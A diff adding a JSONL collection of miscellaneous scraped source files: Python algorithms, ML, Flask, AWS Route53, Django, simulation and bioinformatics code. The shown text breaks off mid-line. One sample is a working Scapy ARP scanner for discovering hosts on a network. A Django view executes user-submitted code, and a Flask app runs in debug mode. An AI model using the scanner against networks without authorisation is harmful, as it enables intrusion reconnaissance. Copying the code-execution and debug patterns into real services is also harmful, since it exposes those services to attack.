diff --git "a/851.jsonl" "b/851.jsonl" new file mode 100644--- /dev/null +++ "b/851.jsonl" @@ -0,0 +1,720 @@ +{"seq_id":"21319918","text":"\n# Leetcode 17\ndef letterCombinations(self, digits: str) -> List[str]:\n if not digits:\n return []\n digitMap = {\n 2: [\"a\", \"b\", \"c\"],\n 3: [\"d\", \"e\", \"f\"],\n 4: [\"g\", \"h\", \"i\"],\n 5: [\"j\", \"k\", \"l\"],\n 6: [\"m\", \"n\", \"o\"],\n 7: [\"p\", \"q\", \"r\", \"s\"],\n 8: [\"t\", \"u\", \"v\"],\n 9: [\"w\", \"x\", \"y\", \"z\"]\n\n }\n\n digitList = [int(i) for i in digits]\n result = list(self.getCombination(digitList, digitMap, \"\", 0).split(\",\"))\n result = [i for i in result if i]\n return result\n\n\n\ndef getCombination(self, digitList, digitMap, cur, pos):\n result = \"\"\n\n\n if len(cur) == len(digitList):\n\n result += cur\n\n return result\n\n number = digitList[pos]\n\n for j in digitMap[number]:\n cur += j\n\n result += self.getCombination(digitList,digitMap, cur, pos + 1) + \",\"\n cur = cur[:-1]\n\n\n return result","sub_path":"src/Recursion/letterCombination.py","file_name":"letterCombination.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"594598464","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torchvision import models\n\nimport numpy as np\n\nimport time\nimport os\nimport copy\n\n\ndef conv_block(s1,s2,s3):\n return nn.Sequential(\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(s1,s2,s3),\n nn.ReLU()\n )\n\nclass model_selector(nn.Module):\n def __init__(self, weights_path,layer = 5, pretrained = True, train_decoder = False):\n super(model_selector, self).__init__()\n self.num_layer = layer\n vgg19 = models.vgg19(pretrained=pretrained)\n\n features = list(vgg19.features)\n \n if(self.num_layer == 1):\n self.encoder = nn.Sequential(*features[:4])\n self.decoder = nn.Sequential( # Sequential,\n\t nn.ReflectionPad2d((1, 1, 1, 1)),\n\t nn.Conv2d(64,3,(3, 3)),\n )\n elif(self.num_layer == 2):\n self.encoder = nn.Sequential(*features[:9])\n self.decoder = nn.Sequential( # Sequential,\n conv_block(128,64,(3,3)),\n nn.UpsamplingNearest2d(scale_factor=2),\n conv_block(64,64,(3,3)),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(64,3,(3, 3)),\n )\n elif(self.num_layer == 3):\n self.encoder = nn.Sequential(*features[:18])\n self.decoder = nn.Sequential( # Sequential,\n conv_block(256,128,(3,3)),\n nn.UpsamplingNearest2d(scale_factor=2),\n conv_block(128,128,(3,3)),\n conv_block(128,64,(3,3)),\n nn.UpsamplingNearest2d(scale_factor=2),\n conv_block(64,64,(3,3)),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(64,3,(3, 3)),\n )\n elif(self.num_layer == 4):\n self.encoder = nn.Sequential(*features[:27])\n self.decoder = nn.Sequential( # Sequential,\n conv_block(512,256,(3,3)),\n nn.UpsamplingNearest2d(scale_factor=2),\n conv_block(256,256,(3,3)),\n conv_block(256,256,(3,3)),\n conv_block(256,256,(3,3)),\n conv_block(256,128,(3,3)),\n nn.UpsamplingNearest2d(scale_factor=2),\n conv_block(128,128,(3,3)),\n conv_block(128,64,(3,3)),\n nn.UpsamplingNearest2d(scale_factor=2),\n conv_block(64,64,(3,3)),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(64,3,(3, 3)),\n )\n elif(self.num_layer == 5):\n self.encoder = nn.Sequential(*features[:36])\n self.decoder = nn.Sequential( # Sequential,\n conv_block(512,512,(3,3)),\n nn.UpsamplingNearest2d(scale_factor=2),\n conv_block(512,512,(3,3)),\n conv_block(512,512,(3,3)),\n conv_block(512,512,(3,3)),\n conv_block(512,256,(3,3)),\n nn.UpsamplingNearest2d(scale_factor=2),\n conv_block(256,256,(3,3)),\n conv_block(256,256,(3,3)),\n conv_block(256,256,(3,3)),\n conv_block(256,128,(3,3)),\n nn.UpsamplingNearest2d(scale_factor=2),\n conv_block(128,128,(3,3)),\n conv_block(128,64,(3,3)),\n nn.UpsamplingNearest2d(scale_factor=2),\n conv_block(64,64,(3,3)),\n nn.ReflectionPad2d((1, 1, 1, 1)),\n nn.Conv2d(64,3,(3, 3)),\n )\n \n if(train_decoder):\n for param in encoder.parameters():\n param.requires_grad = False\n \n else:\n model_dict_path = os.path.join(weights_path,'feature_invertor_conv' + str(self.num_layer) + '_1.pth')\n self.decoder.load_state_dict(torch.load(model_dict_path))\n\n def forward(self,x):\n return self.decoder(self.encoder(x))","sub_path":"style-transfer-project/src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"426460559","text":"from flask import Flask\r\nfrom flask import render_template\r\nfrom flask import request\r\nfrom requests.exceptions import ConnectionError\r\nimport requests\r\nimport json\r\n\r\napp = Flask(__name__)\r\n\r\napp.config[\"CACHE_TYPE\"] = \"null\"\r\n\r\n\r\n@app.route(\"/ajax\", methods=['POST','GET'])\r\ndef listener():\r\n\r\n\r\n\ttickerSymbol = request.form['tickerSymbol'];\r\n\tAllotment = int(request.form['Allotment']);\r\n\tFinal_share_price = int(request.form['Final_share_price']);\r\n\tSell_commission = int(request.form['Sell_commission']);\r\n\tInitial_share_price = int(request.form['Initial_share_price']);\r\n\tBuy_commission = int(request.form['Buy_commission']);\r\n\tCaptial_gain_tax_rate = int(request.form['Captial_gain_tax_rate']);\r\n\r\n\t\r\n\r\n\t\r\n\r\n\tproceeds = Allotment*Final_share_price\r\n\r\n\r\n\tcost = (Allotment*Initial_share_price)+Buy_commission+Sell_commission+(Captial_gain_tax_rate*0.01)\r\n\r\n\tTotalprice = Allotment*Initial_share_price\r\n\r\n\r\n\r\n\tTaxoncapitalgain = (proceeds-(Initial_share_price*Allotment)-Buy_commission-Sell_commission)*Captial_gain_tax_rate*0.01\r\n\r\n\tnetprofit = proceeds-cost-Taxoncapitalgain\r\n\r\n\ts= netprofit/cost\r\n\tn= s*100\r\n\r\n\r\n\tbreakeven= Initial_share_price+Initial_share_price*0.01\r\n\r\n\r\n\tdata = {\r\n\t'tickerSymbol': tickerSymbol,\r\n 'Allotment': Allotment,\r\n 'Final_share_price': Final_share_price,\r\n\t'Initial_share_price': Initial_share_price,\r\n 'Captial_gain_tax_rate': Captial_gain_tax_rate,\r\n 'proceeds': proceeds,\r\n 'cost': cost,\r\n\t'Totalprice': Totalprice,\r\n 'Buy_commission': Buy_commission,\r\n\t'Sell_commission': Sell_commission,\r\n 'Taxoncapitalgain': Taxoncapitalgain,\r\n\t'netprofit': netprofit,\r\n 'Return_on_Investment': n,\r\n\t'breakeven': breakeven,\r\n\t'total':(proceeds-cost)*Captial_gain_tax_rate\r\n\r\n}\r\n\r\n\r\n\treturn render_template('result.html',data=data);\r\n\r\n\r\n@app.route(\"/\", methods=['POST', 'GET'])\r\ndef index():\r\n\r\n\treturn render_template('form.html')\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"99757219","text":"import ast\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\nfile = open('Gen8_1-Dist_vs_E.txt', 'r')\r\nfor line in file:\r\n dist_v_energy = ast.literal_eval(line)\r\nx, y = [], []\r\nfor ele in dist_v_energy:\r\n x.append(float(ele[0]))\r\n y.append(float(ele[1]))\r\nplt.title('Gen 8_1')\r\nplt.plot(x,y, 'bo')\r\nplt.show()\r\n\r\n","sub_path":"analysis/energy/plot_dist_vs_energy.py","file_name":"plot_dist_vs_energy.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"590339520","text":"import boto3\nimport time\n\nDEFAULT_CONFIG = {\n 'HOSTED_ZONE_ID': 'Z0348615WGFD7IWPZOCV',\n 'PTR_ZONE_ID': 'Z05233005YXC6V4H0HJK',\n 'PTR_RESERVED_PARTS': 2\n}\n\n\nclass EC2RegisterLayer:\n def __init__(self, custom_config=None):\n self.route53 = boto3.client('route53')\n self.ec2 = boto3.client('ec2')\n self.config = self.merge_config(custom_config)\n\n @staticmethod\n def merge_config(custom_config):\n return {**DEFAULT_CONFIG, **custom_config}\n\n def get_instance_info(self, instance_id):\n instance = self.ec2.describe_instances(\n InstanceIds=[instance_id]\n )\n private_ip = instance['Reservations'][0]['Instances'][0]['PrivateIpAddress']\n name = ''\n for tag in instance['Reservations'][0]['Instances'][0]['Tags']:\n if tag['Key'] == 'Name':\n name = tag['Value']\n\n return name, private_ip\n\n def get_instance_private_ip(self, instance_id):\n instance = self.ec2.describe_instances(\n InstanceIds=[instance_id]\n )\n private_ip = instance['Reservations'][0]['Instances'][0]['PrivateIpAddress']\n\n return private_ip\n\n def add_a_record(self, new_name, private_ip):\n begin_time = time.time()\n # 如果有自定义dns_name\n if len(new_name) == 0:\n return\n\n try:\n host_zone_info = self.route53.get_hosted_zone(Id=self.config['HOSTED_ZONE_ID'])\n host_zone_name = host_zone_info['HostedZone']['Name'][:-1]\n new_full_custom_dns_name = '%s.%s' % (new_name, host_zone_name)\n\n self.delete_dns_record(private_ip)\n # 注册内网A记录\n\n response = self.route53.change_resource_record_sets(\n HostedZoneId=self.config['HOSTED_ZONE_ID'],\n ChangeBatch={\n 'Comment': 'add A %s -> %s' % (new_full_custom_dns_name, private_ip),\n 'Changes': [\n {\n 'Action': 'UPSERT',\n 'ResourceRecordSet': {\n 'Name': new_full_custom_dns_name,\n 'Type': 'A',\n 'TTL': 300,\n 'ResourceRecords': [{'Value': private_ip}]\n }\n }\n ]\n }\n )\n print('ADD A: %s is recorded for %s, cost %.3fs' % (\n new_full_custom_dns_name, private_ip, time.time() - begin_time))\n except Exception as e:\n print(e)\n\n def add_ptr_record(self, new_name, private_ip):\n begin_time = time.time()\n # 如果有自定义dns_name\n if len(new_name) == 0:\n return\n\n try:\n host_zone_info = self.route53.get_hosted_zone(Id=self.config['HOSTED_ZONE_ID'])\n host_zone_name = host_zone_info['HostedZone']['Name'][:-1]\n new_full_custom_dns_name = '%s.%s' % (new_name, host_zone_name)\n\n self.delete_ptr_record(private_ip)\n\n # 添加反向PTR记录\n ptr_zone_info = self.route53.get_hosted_zone(\n Id=self.config['PTR_ZONE_ID']\n )\n\n ip_parts = private_ip.split('.')\n ptr_reserved_ip_parts = ip_parts[self.config['PTR_RESERVED_PARTS']:]\n ptr_reserved_ip_parts.reverse()\n ptr_name = '.'.join(ptr_reserved_ip_parts)\n ptr_full_name = ptr_name + '.' + ptr_zone_info['HostedZone']['Name']\n record_sets = self.route53.change_resource_record_sets(\n HostedZoneId=self.config['PTR_ZONE_ID'],\n ChangeBatch={\n 'Comment': 'add PTR %s -> %s' % (ptr_full_name, private_ip),\n 'Changes': [\n {\n 'Action': 'UPSERT',\n 'ResourceRecordSet': {\n 'Name': ptr_full_name,\n 'Type': 'PTR',\n 'TTL': 300,\n 'ResourceRecords': [{'Value': new_full_custom_dns_name}]\n }\n }\n ]\n }\n )\n print('ADD PTR: %s is recorded for %s, cost %.3fs' % (\n ptr_full_name, new_full_custom_dns_name, time.time() - begin_time))\n except Exception as e:\n print(e)\n\n def delete_dns_record(self, private_ip):\n begin_time = time.time()\n try:\n # 查找匹配的记录\n response = self.route53.list_resource_record_sets(\n HostedZoneId=self.config['HOSTED_ZONE_ID'],\n StartRecordName=private_ip,\n StartRecordType='A'\n )\n # 删除匹配的记录\n for record in response['ResourceRecordSets']:\n if record['Type'] == 'A' and record['ResourceRecords'][0]['Value'] == private_ip:\n record_sets = self.route53.change_resource_record_sets(\n HostedZoneId=self.config['HOSTED_ZONE_ID'],\n ChangeBatch={\n 'Comment': 'delete %s' % record['Name'][:-1],\n 'Changes': [\n {\n 'Action': 'DELETE',\n 'ResourceRecordSet': {\n 'Name': record['Name'][:-1],\n 'Type': 'A',\n 'TTL': record['TTL'],\n 'ResourceRecords': [{'Value': private_ip}]\n }\n }\n ]\n }\n )\n print('DEL A: %s is deleted, cost %.3fs' % (record['Name'][:-1], time.time() - begin_time))\n except Exception as e:\n print(e)\n\n def delete_ptr_record(self, private_ip):\n begin_time = time.time()\n ip_parts = private_ip.split('.')\n ip_parts.reverse()\n reversed_ip = '.'.join(ip_parts)\n try:\n # 查找匹配的记录\n response = self.route53.list_resource_record_sets(\n HostedZoneId=self.config['PTR_ZONE_ID'],\n StartRecordName=reversed_ip,\n StartRecordType='PTR'\n )\n\n # 删除匹配的记录\n ptr_full_name = reversed_ip + '.in-addr.arpa.'\n for record in response['ResourceRecordSets']:\n if record['Type'] == 'PTR' and record['Name'] == ptr_full_name:\n self.route53.change_resource_record_sets(\n HostedZoneId=self.config['PTR_ZONE_ID'],\n ChangeBatch={\n 'Comment': 'delete PTR %s' % record['Name'][:-1],\n 'Changes': [\n {\n 'Action': 'DELETE',\n 'ResourceRecordSet': {\n 'Name': record['Name'][:-1],\n 'Type': 'PTR',\n 'TTL': record['TTL'],\n 'ResourceRecords': [{'Value': record['ResourceRecords'][0]['Value']}]\n }\n }\n ]\n }\n )\n print('DEL PTR: n%s is deleted, cost %0.3fs' % (record['Name'][:-1], time.time() - begin_time))\n except Exception as e:\n print(e)\n","sub_path":"event_bridge_layer/ec2_name_register_layer.py","file_name":"ec2_name_register_layer.py","file_ext":"py","file_size_in_byte":7792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"232293500","text":"from django.shortcuts import render\nfrom .code_test import CodeTest\nfrom django.http import JsonResponse\n# Create your views here.\n\ndef input_code(request):\n input_code = '''\ny,m,d = map(str,'2017-10-09'.split('-'))\nprint(y,m,d)\n'''\n return render(request, 'codetest/codetest.html', {'input_code': input_code}\n )\ndef run(request):\n ct = CodeTest()\n item = {}\n input_code = request.POST['input_code']\n pyfile,py_code, code_run_result = ct.check_code_run(input_code)\n item['pyfile'] = pyfile\n item['input_code'] = py_code\n item['code_run_result'] = code_run_result\n return JsonResponse(item)\n","sub_path":"maoyan/codetest/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"364252629","text":"from Baseclass import *\nfrom scipy.integrate import odeint\nfrom scipy.optimize import fsolve\n\n##Dynamics class\nclass Dynamics(BSR):\n def __init__(self,workingData,initCondition,finalTime,separation,K_RC,K_CP,m_P,n=3,initMass = 1e-5):\n BSR.__init__(self,workingData.getParams(),workingData.getmode(),workingData.getxLims())\n self.initCondition = initCondition\n self.finalTime = finalTime\n self.separation = separation\n self.K_CP = K_CP\n self.K_RC = K_RC\n self.m_P = m_P\n self.dR = ''\n self.dC = ''\n self.dP = ''\n self.fDict = workingData.getfDict()\n self.Kpoints = 1e4\n self.initPop = n\n self.initMass = initMass\n self.ParamsDict = {'K_CP':self.K_CP,'K_RC':self.K_RC,'m_P':self.m_P}\n self.AssemblyInitCondition = {'Cfirst' : np.array([self.fDict['K'](self.K_RC,self.K_CP,self.m_P),self.initMass,0]) , 'Pfirst' : np.array([self.fDict['K'](self.K_RC,self.K_CP,self.m_P),0,self.initMass])}\n\n \n\n def getInitMass(self,type,n):\n if type == 'R':\n return n * self.m_P * self.K_RC * self.K_CP\n elif type == 'C':\n return n * self.m_P * self.K_CP\n else:\n return n * self.m_P\n\n\n \n\n \n\n\n def setParamVals(self,K_CP,K_RC,m_P):\n \"\"\" Set the values for the three key paramaters of the model , the size ratios and the body mass \"\"\"\n self.K_CP = K_CP\n self.K_RC = K_RC\n self.m_P = m_P\n \n def setinitCondition(self,initCondition):\n \"\"\" Specifices the given initial condition from which to start the simulation \"\"\"\n self.initCondition = initCondition\n \n def makeinitCondition(self,case):\n \n \"\"\" se the init condition , depending on the scenario , in the Invasibility by P to C-R the initial condition\n is the equilibrium of the latter two in isolation , a similar situation is for the invasibility of C to P-R(labeled \n scenario 5)\"\"\"\n if self.mode == \"RM\":\n if case == \"Inv P4\":\n self.initCondition[0] = self.fDict['R_eq_s2RM'](self.K_CP,self.K_RC,self.m_P)\n self.initCondition[1] = self.fDict['C_eq_s2RM'](self.K_CP,self.K_RC,self.m_P)\n elif case == \"Inv P5\":\n self.initCondition[0] = self.fDict['R_eq_s3RM'](self.K_CP,self.K_RC,self.m_P)\n self.initCondition[1] = self.fDict['P_eq_s3RM'](self.K_CP,self.K_RC,self.m_P)\n elif self.mode == \"LV\":\n if case == \"Inv P4\":\n self.initCondition[0] = self.fDict['R_eq_s2'](self.K_CP,self.K_RC,self.m_P)\n self.initCondition[1] = self.fDict['C_eq_s2'](self.K_CP,self.K_RC,self.m_P)\n elif case == \"Inv P5\":\n self.initCondition[0] = self.fDict['R_eq_s3'](self.K_CP,self.K_RC,self.m_P)\n self.initCondition[1] = self.fDict['P_eq_s3'](self.K_CP,self.K_RC,self.m_P)\n \n \n def setfinalTime(self,finalTime):\n \"\"\" set the time until when to stop the simulation \"\"\"\n self.finalTime = finalTime\n def setseparation(self,separation):\n self.separation = separation\n \n def setDynamicFunction(self):\n \"\"\" input the corresponding values for the paramters K_CP, K_RC and m_P and convert the dynamical functions dR, dC \n and dP in three-argument functions, just depending on the value of the biomass densities R, C and P\"\"\"\n \n args = np.array([self.R,self.C,self.P,self.K_RC,self.K_CP,self.m_P])\n if self.mode == \"RM\":\n self.dR = lambdify((self.R,self.C,self.P),self.fDict['dRRM'](*args))\n self.dC = lambdify((self.R,self.C,self.P),self.fDict['dCRM'](*args))\n self.dP = lambdify((self.R,self.C,self.P),self.fDict['dPRM'](*args))\n else:\n self.dR = lambdify((self.R,self.C,self.P),self.fDict['dRLV'](*args))\n self.dC = lambdify((self.R,self.C,self.P),self.fDict['dCLV'](*args))\n self.dP = lambdify((self.R,self.C,self.P),self.fDict['dPLV'](*args)) \n \n def DynamicFunction(self,X,t):\n args = np.array([X[0],X[1],X[2]])\n \n return np.array([self.dR(*args),self.dC(*args),self.dP(*args)])\n \n \n def Simulate(self):\n \"\"\" simulation routine using the Odeint solver from the scipy optimize package , Odeint is a python implementation\n of the ODEPACK package in FORTRAN which uses a multi-step solver in the non stiff case \"\"\"\n self.setDynamicFunction()\n t = np.arange(0,self.finalTime,self.separation)\n return odeint(self.DynamicFunction,self.initCondition,t,())\n \n def Bifurcation(self,focalParam,ParamRange,AssemblyType,N = 100):\n finalState =[]\n for val in ParamRange:\n self.updateFocalParam(focalParam,val)\n Run = self.AssemblySimulation(AssemblyType)[1]\n finalState.append(Run[:-N])\n return finalState\n\n def updateFocalParam(self,focalParam,val):\n self.ParamsDict[focalParam] = val\n\n def AssemblySimulation(self,type):\n # First Invasion\n initCondition = self.AssemblyInitCondition[type]\n \n self.setinitCondition(initCondition)\n \n run1 = self.Simulate()\n \n # Second Invasion\n P =Positiveformat(run1[-1])\n self.UpdateInitCondition(P,type)\n self.setinitCondition(P)\n \n run2 = self.Simulate()\n\n return run1,run2\n \n\n def UpdateInitCondition(self,P,type):\n if type == 'Cfirst':\n P[2]+=self.initMass\n else:\n P[1]+=self.initMass\n\n\n def runSimulationSimK(self,case,massLims,lowKLims,upKLims,initDirection):\n for massIndex in xrange(len(massLims)):\n Krange = 10**(np.linspace(lowKlims[massIndex],upKLims[massIndex],self.Kpoints))\n Kdata = []\n for K in Krange:\n self.setParamVals(K,K,massLims[massIndex])\n self.setinitCondition(case)\n Run = self.Simulate()\n Kdata.append(Run)\n WriteData(Kdata,initDirection+str(massIndex)+\".csv\") \ndef Positiveformat(Array):\n for i in xrange(len(Array)):\n if Array[i]< 0 :\n Array[i] = 0\n \n return Array\n \n","sub_path":"code/Theory/Analisis/SimulationDynamics.py","file_name":"SimulationDynamics.py","file_ext":"py","file_size_in_byte":6343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"463949272","text":"#! /usr/bin/python3\n# DESENVOLVIDO POR CAPUZ\n# TWITTER: https://twitter.com/CapuzSec\n\nimport sys\nfrom datetime import datetime \nfrom scapy.all import * \n\ntry: \n interface = input(\"\\n[*] Set interface: \")\n ips = input(\"[*] Set IP RANGE ou Network: \")\nexcept KeyboardInterrupt:\n print(\"\\n User Aborted!\")\n sys.exit()\n\nprint(\"Scaniando...\")\nstart_time = datetime.now()\nconf.verb = 0 \n\nans, unans = srp(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst = ips), timeout = 2, iface=interface, inter=0.1)\n\nprint(\"\\n\\tMAC\\t\\tIP\\n\")\n\nfor snd,rcv in ans:\n print(rcv.sprintf(\"%Ether.src% - %ARP.psrc%\"))\nstop_time = datetime.now()\ntotal_time = stop_time - start_time\nprint(\"\\n[*] Scan Completo!\")\nprint(\"[*] Duracao do Scan %s\" %(total_time))\n","sub_path":"arping.py","file_name":"arping.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"594878207","text":"from Bio import pairwise2\nimport Bio.PDB\nimport copy\nimport random\nimport re\nimport os\nimport sys\nfrom prediprot.imports.prediprot_classes import *\n\n\ndef get_dict_from_fasta(args):\n '''\n The fasta is read and stored in a dictionary with the IDs as keys and\n the sequence as values. It also returns a list with all the chains id.\n '''\n\n fasta_file = open(args.inputfasta)\n list_ID = []\n fasta_dic = {}\n cur_id = ''\n cur_seq = []\n for line in fasta_file:\n line = line.strip()\n if line.startswith(\">\") and cur_id == '':\n cur_id = line.split(' ')[0][1:]\n list_ID.append(cur_id)\n elif line.startswith(\">\") and cur_id != '':\n fasta_dic[cur_id] = ''.join(cur_seq)\n cur_id = line.split(' ')[0][1:]\n list_ID.append(cur_id)\n cur_seq = []\n else:\n cur_seq.append(line.rstrip())\n fasta_dic[cur_id] = ''.join(cur_seq)\n return fasta_dic, list_ID\n\n\ndef get_subunits_from_fasta(fasta_dic, list_ID):\n '''\n It obtains the different unique subunits of the complex. Two chains are\n considered the same subunit if they share more than 95% of identity. Unique\n chains are renamed with a new id starting from letter A. It is returned:\n a dictionary linking unique chains with sequence, a dictionary that links\n unique chains with the times that chain appears in the complex and a list\n with the unique chain ids.\n '''\n\n unique = []\n repeated = []\n dic_repeated = {}\n threshold = 0.95\n n_chain_name = 0\n fasta_dic_unique = {}\n unique_new_id = []\n for ID1 in list_ID:\n if ID1 in repeated:\n continue\n for ID2 in list_ID:\n if ID1 != ID2:\n alignment = pairwise2.align.globalxx(fasta_dic[ID1], fasta_dic[ID2],\n one_alignment_only = True)\n length_sequence = min(len(fasta_dic[ID1]), len(fasta_dic[ID2]))\n identity = alignment[0][2] / len(alignment[0][0])\n if ID1 not in unique:\n unique.append(ID1)\n id = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ123456\"[n_chain_name:n_chain_name+1]\n fasta_dic_unique[id] = fasta_dic[ID1]\n n_chain_name += 1\n dic_repeated[id] = 1\n unique_new_id.append(id)\n if identity > threshold:\n repeated.append(ID2)\n dic_repeated[id] += 1\n\n # The subunits are sorted ir order to store the most repeated ones at the\n # beginning in the dictionaries, e.g., A:8,B:6,C:4,D:1...\n sorted_subunits = sorted(dic_repeated.items(), key=lambda x: x[1],reverse=True)\n n_chain_name = 0\n fasta_dic_unique_sorted = {}\n dic_repeated_sorted = {}\n for id in sorted_subunits:\n new_id = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789\"[n_chain_name:n_chain_name+1]\n dic_repeated_sorted[new_id] = id[1]\n fasta_dic_unique_sorted[new_id] = fasta_dic_unique[id[0]]\n n_chain_name += 1\n return fasta_dic_unique_sorted, dic_repeated_sorted, unique_new_id\n\n\ndef create_subunits_fasta(args, fasta_dic_unique_sorted, dic_repeated_sorted,\n unique_new_id, name_fasta):\n '''\n If the user wants info about the stoichiometry, it is created a fasta\n with the unique subunits.\n '''\n\n fasta_subunits = open(name_fasta + '_subunits.fasta','w')\n stoic = ''\n for id in unique_new_id:\n stoic += id + ':' + str(dic_repeated_sorted[id]) + ','\n fasta_subunits.write('>' + name_fasta + '_' + id + '\\n'\n + fasta_dic_unique_sorted[id] + '\\n')\n # Also a messeage with the stoichiometry obtained from the fasta appears\n print('A file named '+ name_fasta\n + '_subunits.fasta with the unique subunits has been created' + '\\n'\n + 'From the given fasta, the stoichiometry of the complex is ' + stoic[:-1]\n + '\\n' + 'Please choose the subunits you want to see in the output:')\n # Then the user can insert the stoichiometry that wants to see\n args.sto = input()\n return args.sto\n\n\ndef check_stoic (args):\n '''\n It checks if the format of the given stoichiometry is correct. If it is,\n the selected stoichiometry is stored in a dictionary.\n '''\n\n while args.sto:\n tag = 0\n sto_list = args.sto.split(',')\n for res in sto_list:\n result = re.search('^(.+):([0-9]+)$',res)\n if not result:\n tag = 1\n if tag == 1:\n print(\"The format of the given stoichiometry is not valid, please \"\n \"insert it correctly. For example: A:2,B:2,C:1\")\n args.sto = input()\n else:\n sto_dic = {}\n for dic in sto_list:\n sto_dic[dic.split(':')[0]] = int(dic.split(':')[1])\n return sto_dic\n break\n\n\ndef read_and_store_pdbs(args, pdb_list, unique_new_id, fasta_dic_unique_sorted):\n '''\n The dictionary AA is used to get every sequence in the pdbs and then they\n are aligned with the fasta of the unique subunits. If there is an alignment,\n store the seq in the chain_sequences dictionary. If a sequence does not\n align with any subunit, that means that the fasta given is not adeccuate,\n so the threshold of the alignment could be changed in order to identify all\n subunits from the pdbs. Also there is an additional script to create the\n fasta from the sequences of the initial pdb file, doing that there is no\n problem in identifying all the subunits.\n '''\n\n pdbparser = Bio.PDB.PDBParser()\n AA = {'ALA':'A', 'ARG':'R', 'ASN':'N', 'ASP':'D',\n 'CYS':'C', 'GLN':'Q', 'GLU':'E', 'GLY':'G',\n 'HIS':'H', 'ILE':'I', 'LEU':'L', 'LYS':'K',\n 'MET':'M', 'PHE':'F', 'PRO':'P', 'SER':'S',\n 'THR':'T', 'TRP':'W', 'TYR':'Y', 'VAL':'V',\n ' DA':'A', ' DG':'G', ' DC':'C', ' DT':'T',\n ' A':'A', ' G':'G', ' C':'C', ' T':'T',\n ' U':'U', 'UNK':'X', 'TERM':''}\n\n threshold=0.95\n # Dictionary that stores the pdb names as keys and the structure as value.\n id_structure_dict = {}\n # Dictionary that stores the pdb names + chain as keys and the chains as value.\n ID_subunit_dict = {}\n # Dictionary that stores the pdb names + chain as keys and the aa sequence as value.\n chain_sequences = {}\n # Dictionary that stores the id of the chain as key and the id of the\n # corresponding subunit as a value.\n recover_id_from_fasta = {}\n # List that stores the chains that didn't aligned.\n chains_not_found = []\n directory = args.inputpdb\n\n for pdb_file in pdb_list:\n # Read every pdb and store it in the dictionary.\n # If it can not be read, raise an error.\n try:\n id_structure_dict[pdb_file] = pdbparser.get_structure(pdb_file, directory + \"/\" + pdb_file + \".pdb\")[0]\n except:\n print(pdb_error(pdb_file))\n sys.exit()\n\n # If there are not 2 chains in a PDB raise an exception indicating where is the error.\n try:\n if len(list(id_structure_dict[pdb_file].get_chains()))!=2:\n raise two_chains_each()\n except:\n print(two_chains_each(pdb_file))\n sys.exit()\n\n for chain in id_structure_dict[pdb_file].get_chains():\n sequence = \"\"\n for residue in chain.get_residues():\n if residue.get_resname() in AA:\n sequence += AA[residue.get_resname()]\n # Store in dictionaries\n for id in unique_new_id:\n alignment = pairwise2.align.globalxx(sequence, fasta_dic_unique_sorted[id],\n one_alignment_only = True)\n # alignment[0][2] = score. alignment[0][0] = alignment including gaps.\n # Simply: 1 point per match, 0 points missmatch.\n # If 100 aminoadids perfectly aligned, score = 100.\n identity = alignment[0][2] / len(alignment[0][0])\n if identity > threshold:\n chain_sequences[pdb_file + chain.get_id()] = sequence\n ID_subunit_dict[pdb_file + chain.get_id()] = chain\n recover_id_from_fasta[chain.get_id()] = id\n\n # List the chains that are not aligned with any of the subunits of the fasta.\n if chain.get_id() not in recover_id_from_fasta:\n if chain.get_id() not in chains_not_found:\n chains_not_found.append(chain.get_id())\n\n chains_not_found = sorted(chains_not_found)\n\n try:\n if len(chains_not_found) != 0:\n chains = ''\n if len(chains_not_found) == 1:\n chains = chains_not_found[0]\n else:\n for chain in chains_not_found[:-1]:\n chains += ' ' + chain + ','\n chains = chains[:-1]\n chains += ' and ' + chains_not_found[-1]\n raise chain_not_found()\n except:\n print(chain_not_found(chains))\n sys.exit()\n\n return id_structure_dict, ID_subunit_dict, chain_sequences, recover_id_from_fasta\n\n\ndef find_interactions(chain_sequences):\n '''\n Pairwise alignments between the chains is performed so interaction\n between structures is found and stored in a dictionary that is returned.\n '''\n\n # Sort the sequences to iterate through them\n sorted_sequences = sorted(chain_sequences.items())\n # Index is used in order not to repeat the pairwise alignments already done,\n # to just compare the sequences that are following sequence1.\n index = 0\n threshold = 0.95\n # List storing interactions.\n # Each interaction is: (structure 1, chain 1, position of the aminoacids\n # that are aligned of seq1, structure 2, chain 2, position of...).\n interacting_structures = []\n\n for chain1, sequence1 in sorted_sequences:\n # We check only the following sequences to avoid repetition.\n for chain2, sequence2 in sorted_sequences[index:]:\n # If the structures they belong to are not the same...\n if chain1[:-1] != chain2[:-1]:\n # Perform a global alignment between the two chain sequences\n alignment = pairwise2.align.globalxx(chain_sequences[chain1], chain_sequences[chain2],\n one_alignment_only = True)\n identity = alignment[0][2]/len(alignment[0][0])\n # Sequences indicating matching aminoacids and gaps.\n sequence1 = alignment[0][0]\n sequence2 = alignment[0][1]\n if identity > threshold:\n # In this code what we do is: store the position of the 